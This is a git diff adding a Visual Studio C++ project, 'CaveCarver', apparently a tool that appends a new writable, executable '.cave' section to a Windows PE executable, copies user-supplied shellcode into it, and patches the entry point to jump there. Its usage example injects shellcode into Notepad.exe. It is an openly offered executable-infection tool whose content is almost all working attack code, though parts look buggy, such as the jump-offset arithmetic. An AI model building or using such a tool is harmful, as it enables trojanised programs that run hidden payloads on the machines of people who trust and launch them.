diff --git a/CaveCarver.sln b/CaveCarver.sln
new file mode 100644
index 0000000..6fbd522
--- /dev/null
+++ b/CaveCarver.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.3.32901.215
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CaveCarver", "CaveCarver\CaveCarver.vcxproj", "{A618857F-EB0B-4BF5-AF6E-E6B54A69A729}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x64.ActiveCfg = Debug|x64
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x64.Build.0 = Debug|x64
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x86.ActiveCfg = Debug|Win32
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Debug|x86.Build.0 = Debug|Win32
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x64.ActiveCfg = Release|x64
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x64.Build.0 = Release|x64
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x86.ActiveCfg = Release|Win32
+ {A618857F-EB0B-4BF5-AF6E-E6B54A69A729}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {20B8D1E1-471D-4F41-A25C-7E02F79FD62E}
+ EndGlobalSection
+EndGlobal
diff --git a/CaveCarver/CaveCarver.vcxproj b/CaveCarver/CaveCarver.vcxproj
new file mode 100644
index 0000000..d7d1655
--- /dev/null
+++ b/CaveCarver/CaveCarver.vcxproj
@@ -0,0 +1,135 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {a618857f-eb0b-4bf5-af6e-e6b54a69a729}
+ CaveCarver
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/CaveCarver/CaveCarver.vcxproj.filters b/CaveCarver/CaveCarver.vcxproj.filters
new file mode 100644
index 0000000..3e7e62e
--- /dev/null
+++ b/CaveCarver/CaveCarver.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/CaveCarver/Source.cpp b/CaveCarver/Source.cpp
new file mode 100644
index 0000000..787d20d
--- /dev/null
+++ b/CaveCarver/Source.cpp
@@ -0,0 +1,246 @@
+#define _CRT_SECURE_NO_WARNINGS
+#include
+#include
+#include
+#include
+#include
+#include
+
+DWORD align(DWORD size, DWORD align, DWORD addr) {
+ if (!(size % align))
+ return addr + size;
+ return addr + (size / align + 1) * align;
+}
+
+BOOL InsertSection(const char* path, std::vector buffer, UINT32 shellSize)
+{
+ HANDLE file = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file == INVALID_HANDLE_VALUE)
+ {
+ printf("[-] Failed to open file\n");
+ return FALSE;
+ }
+
+ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buffer.data();
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE)
+ {
+ printf("[-] Invalid PE\n");
+ return FALSE;
+ }
+
+ PIMAGE_FILE_HEADER fileHeader = (PIMAGE_FILE_HEADER)(buffer.data() + dos->e_lfanew + sizeof(ULONG));
+ PIMAGE_OPTIONAL_HEADER64 optionalHeader = (PIMAGE_OPTIONAL_HEADER64)(buffer.data() + dos->e_lfanew + sizeof(ULONG) + sizeof(IMAGE_FILE_HEADER));
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(buffer.data() + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
+ printf("%x\n", sectionHeader->Characteristics);
+
+ ZeroMemory(§ionHeader[fileHeader->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
+ CopyMemory(§ionHeader[fileHeader->NumberOfSections].Name, ".cave", 8);
+ //We use 8 bytes for section name,cause it is the maximum allowed section name size
+
+ //lets insert all the required information about our new PE section
+ sectionHeader[fileHeader->NumberOfSections].Misc.VirtualSize = align(shellSize, optionalHeader->SectionAlignment, 0);
+ sectionHeader[fileHeader->NumberOfSections].VirtualAddress = align(sectionHeader[fileHeader->NumberOfSections - 1].Misc.VirtualSize, optionalHeader->SectionAlignment, sectionHeader[fileHeader->NumberOfSections - 1].VirtualAddress);
+ sectionHeader[fileHeader->NumberOfSections].SizeOfRawData = align(shellSize, optionalHeader->FileAlignment, 0);
+ sectionHeader[fileHeader->NumberOfSections].PointerToRawData = align(sectionHeader[fileHeader->NumberOfSections - 1].SizeOfRawData, optionalHeader->FileAlignment, sectionHeader[fileHeader->NumberOfSections - 1].PointerToRawData);
+ sectionHeader[fileHeader->NumberOfSections].Characteristics = 0xE00000E0;
+
+ /*
+ 0xE00000E0 = IMAGE_SCN_MEM_WRITE |
+ IMAGE_SCN_CNT_CODE |
+ IMAGE_SCN_CNT_UNINITIALIZED_DATA |
+ IMAGE_SCN_MEM_EXECUTE |
+ IMAGE_SCN_CNT_INITIALIZED_DATA |
+ IMAGE_SCN_MEM_READ
+ */
+ SetFilePointer(file, sectionHeader[fileHeader->NumberOfSections].PointerToRawData + sectionHeader[fileHeader->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);
+ //end the file right here,on the last section + it's own size
+ SetEndOfFile(file);
+ //now lets change the size of the image,to correspond to our modifications
+ //by adding a new section,the image size is bigger now
+ optionalHeader->SizeOfImage = sectionHeader[fileHeader->NumberOfSections].VirtualAddress + sectionHeader[fileHeader->NumberOfSections].Misc.VirtualSize;
+ //and we added a new section,so we change the NOS too
+ fileHeader->NumberOfSections += 1;
+ SetFilePointer(file, 0, NULL, FILE_BEGIN);
+ //and finaly,we add all the modifications to the file
+ DWORD dw;
+ WriteFile(file, buffer.data(), buffer.size(), &dw, NULL);
+ CloseHandle(file);
+
+ return TRUE;
+}
+
+BOOL InjectShellcode(const char* path, std::vector buffer)
+{
+ HANDLE file = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file == INVALID_HANDLE_VALUE)
+ return false;
+ DWORD filesize = GetFileSize(file, NULL);
+ BYTE* pByte = new BYTE[filesize];
+ DWORD dw;
+ ReadFile(file, pByte, filesize, &dw, NULL);
+ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
+ PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
+
+ //since we added a new section,it must be the last section added,cause of the code inside
+ //AddSection function,thus we must get to the last section to insert our secret data :)
+ PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
+ PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);
+
+ SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
+
+ WriteFile(file, buffer.data(), buffer.size(), &dw, 0);
+ CloseHandle(file);
+ return TRUE;
+}
+
+BOOL PatchInstruction(const char* path)
+{
+ // Open the file
+ std::ifstream file(path, std::ios::binary);
+ if (!file.is_open()) {
+ std::cerr << "Could not open file: " << path << std::endl;
+ return FALSE;
+ }
+
+ // Get the file size
+ file.seekg(0, std::ios::end);
+ size_t fileSize = file.tellg();
+ file.seekg(0, std::ios::beg);
+
+ // Read the file into a buffer
+ char* buffer = new char[fileSize];
+ file.read(buffer, fileSize);
+
+ // Get the DOS header
+ IMAGE_DOS_HEADER* dosHeader = reinterpret_cast(buffer);
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+ std::cerr << "Invalid DOS signature." << std::endl;
+ return FALSE;
+ }
+
+ // Get the NT headers
+ IMAGE_NT_HEADERS64* ntHeader = reinterpret_cast(buffer + dosHeader->e_lfanew);
+ if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
+ std::cerr << "Invalid NT signature." << std::endl;
+ return FALSE;
+ }
+
+ // Get the section headers
+ IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
+
+ // Find the .cave section
+ IMAGE_SECTION_HEADER* caveSectionHeader = nullptr;
+ for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
+ if (strncmp(reinterpret_cast(sectionHeader[i].Name), ".cave", IMAGE_SIZEOF_SHORT_NAME) == 0) {
+ caveSectionHeader = §ionHeader[i];
+ break;
+ }
+ }
+
+ if (caveSectionHeader == nullptr) {
+ std::cerr << "Could not find .cave section." << std::endl;
+ return FALSE;
+ }
+
+ // Get the RVA of the entry point
+ DWORD entryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
+ printf("[+] Entry point: 0x%x\n", entryPointRva);
+
+ // Calculate the file offset of the entry point
+ DWORD entryPointOffset = 0;
+ for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
+ if (entryPointRva >= sectionHeader[i].VirtualAddress &&
+ entryPointRva < sectionHeader[i].VirtualAddress + sectionHeader[i].Misc.VirtualSize) {
+ entryPointOffset = sectionHeader[i].PointerToRawData + (entryPointRva - sectionHeader[i].VirtualAddress);
+ break;
+ }
+ }
+
+ if (entryPointOffset == 0) {
+ std::cerr << "Could not find file offset of entry point." << std::endl;
+ return 1;
+ }
+
+ // Calculate the address of the jump target
+ DWORD jumpTargetAddress = ntHeader->OptionalHeader.ImageBase + caveSectionHeader->VirtualAddress;
+ DWORD jumpOffset = jumpTargetAddress - (ntHeader->OptionalHeader.ImageBase + entryPointRva + sizeof(5));
+
+ // Patch the entry point with a jump instruction to the .cave section
+ unsigned char bytes[5];
+ bytes[0] = (jumpOffset & 0xFF000000) >> 24;
+ bytes[1] = (jumpOffset & 0x00FF0000) >> 16;
+ bytes[2] = (jumpOffset & 0x0000FF00) >> 8;
+ bytes[3] = jumpOffset & 0x000000FF;
+ bytes[4] = 0xE9;
+
+ std::reverse(bytes, bytes + sizeof(bytes));
+
+ printf("[+] Patch shellcode: ");
+ for (int i = 0; i < sizeof(bytes); i++)
+ printf("0x%x ", bytes[i]);
+ printf("\n");
+
+ memcpy(buffer + entryPointOffset, bytes, sizeof(bytes));
+ memcpy(buffer + entryPointOffset + sizeof(bytes), &jumpOffset, sizeof(jumpOffset));
+
+ std::cout << "[+] Patched entrypoint" << std::endl;
+
+ // Save the patched file to disk
+ std::ofstream outputFile("patched.exe", std::ios::binary);
+ if (!outputFile.is_open()) {
+ std::cerr << "Could not create output file." << std::endl;
+ return 1;
+ }
+ outputFile.write(buffer, fileSize);
+
+ // Cleanup
+ delete[] buffer;
+
+ std::cout << "[+] Patched file saved to 'patched.exe'" << std::endl;
+
+ return TRUE;
+}
+
+VOID Helper()
+{
+ printf("\n");
+ printf("Usage:\n");
+ printf("CodeCaver.exe executable shellcode\n\n");
+ printf("Example:\n");
+ printf("CodeCaver.exe C:\\Notepad.exe C:\\Users\\user\\shellcode.bin\n\n");
+}
+
+int main(int argc, char* argv[])
+{
+ if (argc < 3)
+ {
+ printf("[-] Invalid paramters\n");
+ Helper();
+ return -1;
+ }
+
+ const char* exePath = argv[1];
+ const char* shellPath = argv[2];
+
+ std::ifstream exe(exePath, std::ios::binary);
+ std::vector exeBuffer(std::istreambuf_iterator(exe), {});
+ exe.close();
+
+ std::ifstream shell(shellPath, std::ios::binary);
+ std::vector shellBuffer(std::istreambuf_iterator(shell), {});
+ shell.close();
+
+ printf("[+] Exe size: %d\n", exeBuffer.size());
+ printf("[+] Shellcode size: %d\n", shellBuffer.size());
+
+ if (!InsertSection(exePath, exeBuffer, shellBuffer.size()))
+ return -1;
+
+ if (!InjectShellcode(exePath, shellBuffer))
+ return -1;
+
+ if (!PatchInstruction(exePath))
+ return -1;
+
+ printf("[+] Success!\n");
+}
\ No newline at end of file